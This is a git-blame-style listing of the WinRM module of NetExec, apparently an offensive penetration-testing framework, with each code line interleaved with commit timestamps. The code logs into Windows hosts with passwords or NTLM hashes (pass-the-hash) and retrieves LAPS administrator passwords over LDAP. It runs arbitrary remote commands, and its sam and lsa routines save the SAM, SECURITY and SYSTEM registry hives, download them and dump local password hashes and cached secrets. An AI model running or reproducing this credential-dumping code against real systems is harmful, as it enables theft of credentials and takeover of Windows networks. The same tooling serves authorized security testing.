2022-07-18 23:59:14 +00:00
|
|
|
#!/usr/bin/env python3
|
2023-03-30 03:59:22 +00:00
|
|
|
import binascii
|
|
|
|
import hashlib
|
2023-03-10 00:58:36 +00:00
|
|
|
import os
|
2017-10-25 02:08:19 +00:00
|
|
|
import requests
|
|
|
|
|
2023-08-13 15:51:49 +00:00
|
|
|
from io import StringIO
|
2023-05-17 20:39:11 +00:00
|
|
|
from datetime import datetime
|
|
|
|
from pypsrp.client import Client
|
2023-03-10 00:58:36 +00:00
|
|
|
|
2023-05-07 22:51:01 +00:00
|
|
|
from impacket.smbconnection import SMBConnection
|
2023-05-17 20:39:11 +00:00
|
|
|
from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes
|
2017-10-25 02:08:19 +00:00
|
|
|
|
2023-09-14 21:07:15 +00:00
|
|
|
from nxc.config import process_secret
|
2023-10-06 16:41:00 +00:00
|
|
|
from nxc.connection import connection
|
2023-09-14 21:07:15 +00:00
|
|
|
from nxc.helpers.bloodhound import add_user_bh
|
|
|
|
from nxc.protocols.ldap.laps import LDAPConnect, LAPSv2Extract
|
|
|
|
from nxc.logger import NXCAdapter
|
2023-10-14 19:56:22 +00:00
|
|
|
import contextlib
|
2017-10-25 02:08:19 +00:00
|
|
|
|
2023-09-23 01:10:21 +00:00
|
|
|
|
2023-03-10 00:58:36 +00:00
|
|
|
class winrm(connection):
|
2017-10-25 02:08:19 +00:00
|
|
|
def __init__(self, args, db, host):
|
|
|
|
self.domain = None
|
2020-07-28 14:16:06 +00:00
|
|
|
self.server_os = None
|
2022-02-23 20:09:49 +00:00
|
|
|
self.output_filename = None
|
2023-03-10 00:58:36 +00:00
|
|
|
self.endpoint = None
|
|
|
|
self.port = None
|
|
|
|
self.hash = None
|
2023-03-10 04:04:59 +00:00
|
|
|
self.lmhash = None
|
|
|
|
self.nthash = None
|
2017-10-25 02:08:19 +00:00
|
|
|
|
|
|
|
connection.__init__(self, args, db, host)
|
|
|
|
|
|
|
|
def proto_logger(self):
|
2023-09-14 21:07:15 +00:00
|
|
|
self.logger = NXCAdapter(
|
2023-03-30 03:59:22 +00:00
|
|
|
extra={
|
2023-05-02 15:17:59 +00:00
|
|
|
"protocol": "WINRM",
|
|
|
|
"host": self.host,
|
2023-05-06 19:15:14 +00:00
|
|
|
"port": self.args.port if self.args.port else 5985,
|
2023-05-02 15:17:59 +00:00
|
|
|
"hostname": self.hostname,
|
2023-03-30 03:59:22 +00:00
|
|
|
}
|
|
|
|
)
|
2017-10-25 02:08:19 +00:00
|
|
|
|
|
|
|
def enum_host_info(self):
|
2020-06-20 10:20:53 +00:00
|
|
|
# smb no open, specify the domain
|
2023-08-13 15:51:49 +00:00
|
|
|
if self.args.no_smb:
|
2020-04-29 10:28:47 +00:00
|
|
|
self.domain = self.args.domain
|
|
|
|
else:
|
2023-05-06 19:15:14 +00:00
|
|
|
smb_conn = SMBConnection(self.host, self.host, None, timeout=5)
|
2023-05-06 19:24:14 +00:00
|
|
|
no_ntlm = False
|
2017-10-25 02:08:19 +00:00
|
|
|
try:
|
2023-05-06 19:15:14 +00:00
|
|
|
smb_conn.login("", "")
|
2023-05-06 19:24:14 +00:00
|
|
|
except BrokenPipeError:
|
2023-09-20 15:59:16 +00:00
|
|
|
self.logger.fail("Broken Pipe Error while attempting to login")
|
2020-04-29 10:28:47 +00:00
|
|
|
except Exception as e:
|
2023-05-06 19:24:14 +00:00
|
|
|
if "STATUS_NOT_SUPPORTED" in str(e):
|
|
|
|
# no ntlm supported
|
|
|
|
no_ntlm = True
|
2023-03-12 07:00:00 +00:00
|
|
|
|
2023-05-08 18:39:36 +00:00
|
|
|
self.domain = smb_conn.getServerDNSDomainName() if not no_ntlm else self.args.domain
|
2023-05-06 19:24:14 +00:00
|
|
|
self.hostname = smb_conn.getServerName() if not no_ntlm else self.host
|
2023-05-06 19:15:14 +00:00
|
|
|
self.server_os = smb_conn.getServerOS()
|
2023-05-06 19:24:14 +00:00
|
|
|
if isinstance(self.server_os.lower(), bytes):
|
|
|
|
self.server_os = self.server_os.decode("utf-8")
|
|
|
|
|
2023-05-06 19:15:14 +00:00
|
|
|
self.logger.extra["hostname"] = self.hostname
|
|
|
|
|
2023-09-14 21:07:15 +00:00
|
|
|
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}")
|
2023-05-06 19:15:14 +00:00
|
|
|
|
2023-10-14 19:56:22 +00:00
|
|
|
with contextlib.suppress(Exception):
|
2023-05-06 19:15:14 +00:00
|
|
|
smb_conn.logoff()
|
2017-10-25 02:08:19 +00:00
|
|
|
|
2020-04-29 10:28:47 +00:00
|
|
|
if self.args.domain:
|
|
|
|
self.domain = self.args.domain
|
2017-10-25 02:08:19 +00:00
|
|
|
|
2020-04-29 10:28:47 +00:00
|
|
|
if self.args.local_auth:
|
|
|
|
self.domain = self.hostname
|
2017-10-25 02:08:19 +00:00
|
|
|
|
2023-03-12 07:00:00 +00:00
|
|
|
if self.server_os is None:
|
2023-04-12 04:25:38 +00:00
|
|
|
self.server_os = ""
|
2023-03-12 07:00:00 +00:00
|
|
|
if self.domain is None:
|
2023-04-12 04:25:38 +00:00
|
|
|
self.domain = ""
|
2023-03-12 07:00:00 +00:00
|
|
|
|
2023-03-12 02:25:23 +00:00
|
|
|
self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os)
|
2023-03-12 00:44:12 +00:00
|
|
|
|
2023-09-14 21:07:15 +00:00
|
|
|
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
|
2023-02-12 21:03:38 +00:00
|
|
|
|
2022-02-11 21:38:39 +00:00
|
|
|
def laps_search(self, username, password, ntlm_hash, domain):
|
2023-04-21 11:25:25 +00:00
|
|
|
ldapco = LDAPConnect(self.domain, "389", self.domain)
|
|
|
|
|
|
|
|
if self.kerberos:
|
|
|
|
if self.kdcHost is None:
|
|
|
|
self.logger.fail("Add --kdcHost parameter to use laps with kerberos")
|
|
|
|
return False
|
|
|
|
|
|
|
|
connection = ldapco.kerberos_login(
|
|
|
|
domain,
|
2023-05-02 15:17:59 +00:00
|
|
|
username[0] if username else "",
|
|
|
|
password[0] if password else "",
|
|
|
|
ntlm_hash[0] if ntlm_hash else "",
|
2023-04-21 11:25:25 +00:00
|
|
|
kdcHost=self.kdcHost,
|
2023-05-02 15:17:59 +00:00
|
|
|
aesKey=self.aesKey,
|
2023-04-21 11:25:25 +00:00
|
|
|
)
|
|
|
|
else:
|
2023-05-02 12:52:27 +00:00
|
|
|
connection = ldapco.auth_login(
|
2023-04-21 11:25:25 +00:00
|
|
|
domain,
|
2023-05-02 15:17:59 +00:00
|
|
|
username[0] if username else "",
|
|
|
|
password[0] if password else "",
|
|
|
|
ntlm_hash[0] if ntlm_hash else "",
|
2023-04-21 11:25:25 +00:00
|
|
|
)
|
|
|
|
if not connection:
|
2023-09-24 04:06:51 +00:00
|
|
|
self.logger.fail(f"LDAP connection failed with account {username[0]}")
|
2022-02-11 21:38:39 +00:00
|
|
|
return False
|
2023-04-21 11:25:25 +00:00
|
|
|
|
2023-05-08 18:39:36 +00:00
|
|
|
search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))"
|
2023-05-02 15:17:59 +00:00
|
|
|
attributes = [
|
|
|
|
"msLAPS-EncryptedPassword",
|
|
|
|
"msLAPS-Password",
|
|
|
|
"ms-MCS-AdmPwd",
|
|
|
|
"sAMAccountName",
|
|
|
|
]
|
2023-05-08 18:39:36 +00:00
|
|
|
results = connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
2022-02-11 21:38:39 +00:00
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
msMCSAdmPwd = ""
|
|
|
|
sAMAccountName = ""
|
2023-05-17 20:39:11 +00:00
|
|
|
username_laps = ""
|
2023-04-21 11:25:25 +00:00
|
|
|
|
|
|
|
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
2023-05-02 15:17:59 +00:00
|
|
|
|
2023-04-21 11:25:25 +00:00
|
|
|
results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
|
|
|
|
if len(results) != 0:
|
|
|
|
for host in results:
|
2023-05-17 20:39:11 +00:00
|
|
|
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in host["attributes"]}
|
2023-04-21 11:25:25 +00:00
|
|
|
if "mslaps-encryptedpassword" in values:
|
2023-05-17 20:39:11 +00:00
|
|
|
from json import loads
|
2023-09-23 01:10:21 +00:00
|
|
|
|
2023-05-17 20:39:11 +00:00
|
|
|
msMCSAdmPwd = values["mslaps-encryptedpassword"]
|
2023-09-23 01:10:21 +00:00
|
|
|
d = LAPSv2Extract(bytes(msMCSAdmPwd), username[0] if username else "", password[0] if password else "", domain, ntlm_hash[0] if ntlm_hash else "", self.args.kerberos, self.args.kdcHost, 339)
|
2023-05-17 20:39:11 +00:00
|
|
|
data = d.run()
|
|
|
|
r = loads(data)
|
|
|
|
msMCSAdmPwd = r["p"]
|
|
|
|
username_laps = r["n"]
|
2023-04-21 11:25:25 +00:00
|
|
|
elif "mslaps-password" in values:
|
|
|
|
from json import loads
|
2023-09-23 01:10:21 +00:00
|
|
|
|
2023-05-17 20:39:11 +00:00
|
|
|
r = loads(str(values["mslaps-password"]))
|
2023-05-02 15:17:59 +00:00
|
|
|
msMCSAdmPwd = r["p"]
|
2023-05-17 20:39:11 +00:00
|
|
|
username_laps = r["n"]
|
2023-04-21 11:25:25 +00:00
|
|
|
elif "ms-mcs-admpwd" in values:
|
2023-05-17 20:39:11 +00:00
|
|
|
msMCSAdmPwd = str(values["ms-mcs-admpwd"])
|
2022-02-11 21:38:39 +00:00
|
|
|
else:
|
2023-10-13 15:23:44 +00:00
|
|
|
self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password")
|
2023-09-24 04:06:51 +00:00
|
|
|
self.logger.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
|
2023-04-21 11:25:25 +00:00
|
|
|
else:
|
2023-09-24 04:06:51 +00:00
|
|
|
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
|
2023-04-21 11:25:25 +00:00
|
|
|
return False
|
|
|
|
|
2023-10-14 19:56:22 +00:00
|
|
|
self.username = username_laps if username_laps else self.args.laps
|
2022-02-11 21:38:39 +00:00
|
|
|
self.password = msMCSAdmPwd
|
2023-04-21 11:25:25 +00:00
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
if msMCSAdmPwd == "":
|
2023-09-24 04:06:51 +00:00
|
|
|
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
|
2022-02-11 21:38:39 +00:00
|
|
|
return False
|
|
|
|
if ntlm_hash:
|
2023-04-12 04:25:38 +00:00
|
|
|
hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
|
2022-02-11 21:38:39 +00:00
|
|
|
self.hash = binascii.hexlify(hash_ntlm).decode()
|
2023-04-21 11:25:25 +00:00
|
|
|
|
2022-02-11 21:38:39 +00:00
|
|
|
self.domain = self.hostname
|
|
|
|
return True
|
|
|
|
|
2017-10-25 02:08:19 +00:00
|
|
|
def print_host_info(self):
|
2020-06-20 10:20:53 +00:00
|
|
|
if self.args.domain:
|
2023-04-12 04:25:38 +00:00
|
|
|
self.logger.extra["protocol"] = "HTTP"
|
2023-03-30 03:59:22 +00:00
|
|
|
self.logger.display(self.endpoint)
|
2021-10-16 19:37:06 +00:00
|
|
|
else:
|
2023-04-12 04:25:38 +00:00
|
|
|
self.logger.extra["protocol"] = "SMB"
|
|
|
|
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
|
|
|
|
self.logger.extra["protocol"] = "HTTP"
|
2023-03-30 03:59:22 +00:00
|
|
|
self.logger.display(self.endpoint)
|
2023-05-06 19:15:14 +00:00
|
|
|
|
2022-02-11 21:38:39 +00:00
|
|
|
if self.args.laps:
|
|
|
|
return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain)
|
|
|
|
return True
|
2017-10-25 02:08:19 +00:00
|
|
|
|
|
|
|
def create_conn_obj(self):
|
|
|
|
endpoints = [
|
2023-04-12 04:25:38 +00:00
|
|
|
f"https://{self.host}:{self.args.port if self.args.port else 5986}/wsman",
|
2023-05-02 15:17:59 +00:00
|
|
|
f"http://{self.host}:{self.args.port if self.args.port else 5985}/wsman",
|
2017-10-25 02:08:19 +00:00
|
|
|
]
|
|
|
|
|
|
|
|
for url in endpoints:
|
|
|
|
try:
|
2023-10-15 10:49:41 +00:00
|
|
|
self.logger.debug(f"Requesting URL: {url}")
|
2023-03-12 07:00:00 +00:00
|
|
|
res = requests.post(url, verify=False, timeout=self.args.http_timeout)
|
2023-10-15 10:49:41 +00:00
|
|
|
self.logger.debug("Received response code: {res.status_code}")
|
2017-10-25 02:08:19 +00:00
|
|
|
self.endpoint = url
|
2023-05-02 15:17:59 +00:00
|
|
|
if self.endpoint.startswith("https://"):
|
2023-05-08 18:39:36 +00:00
|
|
|
self.logger.extra["port"] = self.args.port if self.args.port else 5986
|
2017-10-25 02:08:19 +00:00
|
|
|
else:
|
2023-05-08 18:39:36 +00:00
|
|
|
self.logger.extra["port"] = self.args.port if self.args.port else 5985
|
2017-10-25 02:08:19 +00:00
|
|
|
return True
|
2023-03-12 07:00:00 +00:00
|
|
|
except requests.exceptions.Timeout as e:
|
2023-03-30 03:59:22 +00:00
|
|
|
self.logger.info(f"Connection Timed out to WinRM service: {e}")
|
2023-03-12 07:00:00 +00:00
|
|
|
except requests.exceptions.ConnectionError as e:
|
2023-05-02 15:17:59 +00:00
|
|
|
if "Max retries exceeded with url" in str(e):
|
2023-09-20 15:59:16 +00:00
|
|
|
self.logger.info("Connection Timeout to WinRM service (max retries exceeded)")
|
2023-03-12 07:00:00 +00:00
|
|
|
else:
|
2023-03-30 03:59:22 +00:00
|
|
|
self.logger.info(f"Other ConnectionError to WinRM service: {e}")
|
2017-10-25 02:08:19 +00:00
|
|
|
return False
|
|
|
|
|
|
|
|
def plaintext_login(self, domain, username, password):
|
|
|
|
try:
|
2022-02-11 21:38:39 +00:00
|
|
|
if not self.args.laps:
|
|
|
|
self.password = password
|
|
|
|
self.username = username
|
|
|
|
self.domain = domain
|
2023-09-11 07:46:38 +00:00
|
|
|
self.conn = Client(
|
|
|
|
self.host,
|
|
|
|
auth="ntlm",
|
|
|
|
username=f"{domain}\\{self.username}",
|
|
|
|
password=self.password,
|
2023-10-14 19:56:22 +00:00
|
|
|
ssl=bool(self.args.ssl),
|
|
|
|
cert_validation=not self.args.ignore_ssl_cert,
|
2023-09-11 07:46:38 +00:00
|
|
|
)
|
2017-10-25 02:08:19 +00:00
|
|
|
|
|
|
|
# TO DO: right now we're just running the hostname command to make the winrm library auth to the server
|
|
|
|
# we could just authenticate without running a command :) (probably)
|
2020-04-28 19:30:18 +00:00
|
|
|
self.conn.execute_ps("hostname")
|
2017-10-25 02:08:19 +00:00
|
|
|
self.admin_privs = True
|
2023-05-08 18:39:36 +00:00
|
|
|
self.logger.success(f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
|
2023-03-12 07:00:00 +00:00
|
|
|
|
2023-03-12 00:44:12 +00:00
|
|
|
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
2023-05-02 15:17:59 +00:00
|
|
|
self.db.add_credential("plaintext", domain, self.username, self.password)
|
2023-03-30 03:59:22 +00:00
|
|
|
# TODO: when we can easily get the host_id via RETURNING statements, readd this in
|
2023-03-12 00:44:12 +00:00
|
|
|
|
|
|
|
if self.admin_privs:
|
2023-09-20 15:59:16 +00:00
|
|
|
self.logger.debug("Inside admin privs")
|
2023-05-08 18:39:36 +00:00
|
|
|
self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host) # , user_id=user_id)
|
2023-03-12 00:44:12 +00:00
|
|
|
|
2022-02-06 12:33:49 +00:00
|
|
|
if not self.args.local_auth:
|
2023-05-02 15:17:59 +00:00
|
|
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
2023-04-23 11:45:16 +00:00
|
|
|
return True
|
2017-10-25 02:08:19 +00:00
|
|
|
except Exception as e:
|
2023-05-02 15:17:59 +00:00
|
|
|
if "with ntlm" in str(e):
|
2023-05-08 18:39:36 +00:00
|
|
|
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
|
2020-06-20 10:26:32 +00:00
|
|
|
else:
|
2023-05-08 18:39:36 +00:00
|
|
|
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()} '{e}'")
|
2017-10-25 02:08:19 +00:00
|
|
|
|
|
|
|
return False
|
|
|
|
|
2020-06-22 10:25:00 +00:00
|
|
|
def hash_login(self, domain, username, ntlm_hash):
|
|
|
|
try:
|
2023-05-02 15:17:59 +00:00
|
|
|
|
|
|
|
lmhash = "00000000000000000000000000000000:"
|
|
|
|
nthash = ""
|
2020-06-22 10:25:00 +00:00
|
|
|
|
2022-02-11 21:38:39 +00:00
|
|
|
if not self.args.laps:
|
|
|
|
self.username = username
|
2023-03-10 00:58:36 +00:00
|
|
|
# This checks to see if we didn't provide the LM Hash
|
2023-05-02 15:17:59 +00:00
|
|
|
if ntlm_hash.find(":") != -1:
|
|
|
|
lmhash, nthash = ntlm_hash.split(":")
|
2022-02-11 21:38:39 +00:00
|
|
|
else:
|
2023-03-10 04:04:59 +00:00
|
|
|
nthash = ntlm_hash
|
|
|
|
ntlm_hash = lmhash + nthash
|
|
|
|
if lmhash:
|
|
|
|
self.lmhash = lmhash
|
|
|
|
if nthash:
|
|
|
|
self.nthash = nthash
|
2020-06-22 10:25:00 +00:00
|
|
|
else:
|
2023-03-10 04:04:59 +00:00
|
|
|
nthash = self.hash
|
2023-05-02 15:17:59 +00:00
|
|
|
|
2022-02-11 21:38:39 +00:00
|
|
|
self.domain = domain
|
2023-09-11 07:46:38 +00:00
|
|
|
self.conn = Client(
|
|
|
|
self.host,
|
|
|
|
auth="ntlm",
|
|
|
|
username=f"{self.domain}\\{self.username}",
|
|
|
|
password=lmhash + nthash,
|
2023-10-14 19:56:22 +00:00
|
|
|
ssl=bool(self.args.ssl),
|
|
|
|
cert_validation=not self.args.ignore_ssl_cert,
|
2023-09-11 07:46:38 +00:00
|
|
|
)
|
2020-06-22 10:25:00 +00:00
|
|
|
|
|
|
|
# TO DO: right now we're just running the hostname command to make the winrm library auth to the server
|
|
|
|
# we could just authenticate without running a command :) (probably)
|
|
|
|
self.conn.execute_ps("hostname")
|
|
|
|
self.admin_privs = True
|
2023-05-08 18:39:36 +00:00
|
|
|
self.logger.success(f"{self.domain}\\{self.username}:{process_secret(nthash)} {self.mark_pwned()}")
|
2023-04-12 04:25:38 +00:00
|
|
|
self.db.add_credential("hash", domain, self.username, nthash)
|
2023-03-12 00:44:12 +00:00
|
|
|
|
|
|
|
if self.admin_privs:
|
2023-04-12 04:25:38 +00:00
|
|
|
self.db.add_admin_user("hash", domain, self.username, nthash, self.host)
|
2023-03-12 00:44:12 +00:00
|
|
|
|
2022-02-06 12:33:49 +00:00
|
|
|
if not self.args.local_auth:
|
|
|
|
add_user_bh(self.username, self.domain, self.logger, self.config)
|
2023-04-23 11:45:16 +00:00
|
|
|
return True
|
2020-06-22 10:25:00 +00:00
|
|
|
|
|
|
|
except Exception as e:
|
2023-05-02 15:17:59 +00:00
|
|
|
if "with ntlm" in str(e):
|
2023-05-08 18:39:36 +00:00
|
|
|
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(nthash)}")
|
2020-06-22 10:25:00 +00:00
|
|
|
else:
|
2023-05-08 18:39:36 +00:00
|
|
|
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(nthash)} '{e}'")
|
2020-06-22 10:25:00 +00:00
|
|
|
return False
|
|
|
|
|
2017-10-25 02:08:19 +00:00
|
|
|
def execute(self, payload=None, get_output=False):
|
2020-04-28 19:30:18 +00:00
|
|
|
try:
|
2023-08-13 15:51:49 +00:00
|
|
|
r = self.conn.execute_cmd(self.args.execute, encoding=self.args.codec)
|
2023-10-06 16:47:49 +00:00
|
|
|
except Exception:
|
2023-10-13 15:23:44 +00:00
|
|
|
self.logger.info("Cannot execute command, probably because user is not local admin, but powershell command should be ok!")
|
2020-04-28 19:30:18 +00:00
|
|
|
r = self.conn.execute_ps(self.args.execute)
|
2023-04-12 04:25:38 +00:00
|
|
|
self.logger.success("Executed command")
|
2023-08-13 15:51:49 +00:00
|
|
|
buf = StringIO(r[0]).readlines()
|
|
|
|
for line in buf:
|
|
|
|
self.logger.highlight(line.strip())
|
|
|
|
|
2017-10-25 02:08:19 +00:00
|
|
|
def ps_execute(self, payload=None, get_output=False):
|
2020-04-28 19:30:18 +00:00
|
|
|
r = self.conn.execute_ps(self.args.ps_execute)
|
2023-05-02 15:17:59 +00:00
|
|
|
self.logger.success("Executed command")
|
2023-08-13 15:51:49 +00:00
|
|
|
buf = StringIO(r[0]).readlines()
|
|
|
|
for line in buf:
|
|
|
|
self.logger.highlight(line.strip())
|
2022-02-23 20:09:49 +00:00
|
|
|
|
|
|
|
def sam(self):
|
2023-10-13 15:23:44 +00:00
|
|
|
self.conn.execute_cmd("reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM")
|
2022-02-23 20:09:49 +00:00
|
|
|
self.conn.fetch("C:\\windows\\temp\\SAM", self.output_filename + ".sam")
|
|
|
|
self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system")
|
|
|
|
self.conn.execute_cmd("del C:\\windows\\temp\\SAM && del C:\\windows\\temp\\SYSTEM")
|
|
|
|
|
2023-05-06 19:15:14 +00:00
|
|
|
local_operations = LocalOperations(f"{self.output_filename}.system")
|
2023-03-10 00:58:36 +00:00
|
|
|
boot_key = local_operations.getBootKey()
|
|
|
|
SAM = SAMHashes(
|
2023-05-06 19:15:14 +00:00
|
|
|
f"{self.output_filename}.sam",
|
2023-03-10 00:58:36 +00:00
|
|
|
boot_key,
|
|
|
|
isRemote=None,
|
2023-05-02 15:17:59 +00:00
|
|
|
perSecretCallback=lambda secret: self.logger.highlight(secret),
|
2023-03-10 00:58:36 +00:00
|
|
|
)
|
2022-02-23 20:09:49 +00:00
|
|
|
SAM.dump()
|
2023-05-06 19:15:14 +00:00
|
|
|
SAM.export(f"{self.output_filename}.sam")
|
2022-02-23 20:09:49 +00:00
|
|
|
|
|
|
|
def lsa(self):
|
2023-10-13 15:23:44 +00:00
|
|
|
self.conn.execute_cmd("reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM")
|
2023-05-08 18:39:36 +00:00
|
|
|
self.conn.fetch("C:\\windows\\temp\\SECURITY", f"{self.output_filename}.security")
|
2023-05-06 19:15:14 +00:00
|
|
|
self.conn.fetch("C:\\windows\\temp\\SYSTEM", f"{self.output_filename}.system")
|
2022-02-23 20:09:49 +00:00
|
|
|
self.conn.execute_cmd("del C:\\windows\\temp\\SYSTEM && del C:\\windows\\temp\\SECURITY")
|
|
|
|
|
2023-05-06 19:15:14 +00:00
|
|
|
local_operations = LocalOperations(f"{self.output_filename}.system")
|
2023-03-10 00:58:36 +00:00
|
|
|
boot_key = local_operations.getBootKey()
|
|
|
|
LSA = LSASecrets(
|
2023-05-06 19:15:14 +00:00
|
|
|
f"{self.output_filename}.security",
|
2023-03-10 00:58:36 +00:00
|
|
|
boot_key,
|
|
|
|
None,
|
|
|
|
isRemote=None,
|
2023-05-02 15:17:59 +00:00
|
|
|
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
|
2023-03-10 00:58:36 +00:00
|
|
|
)
|
2022-02-23 20:09:49 +00:00
|
|
|
LSA.dumpCachedHashes()
|
2022-06-17 21:04:11 +00:00
|
|
|
LSA.dumpSecrets()
|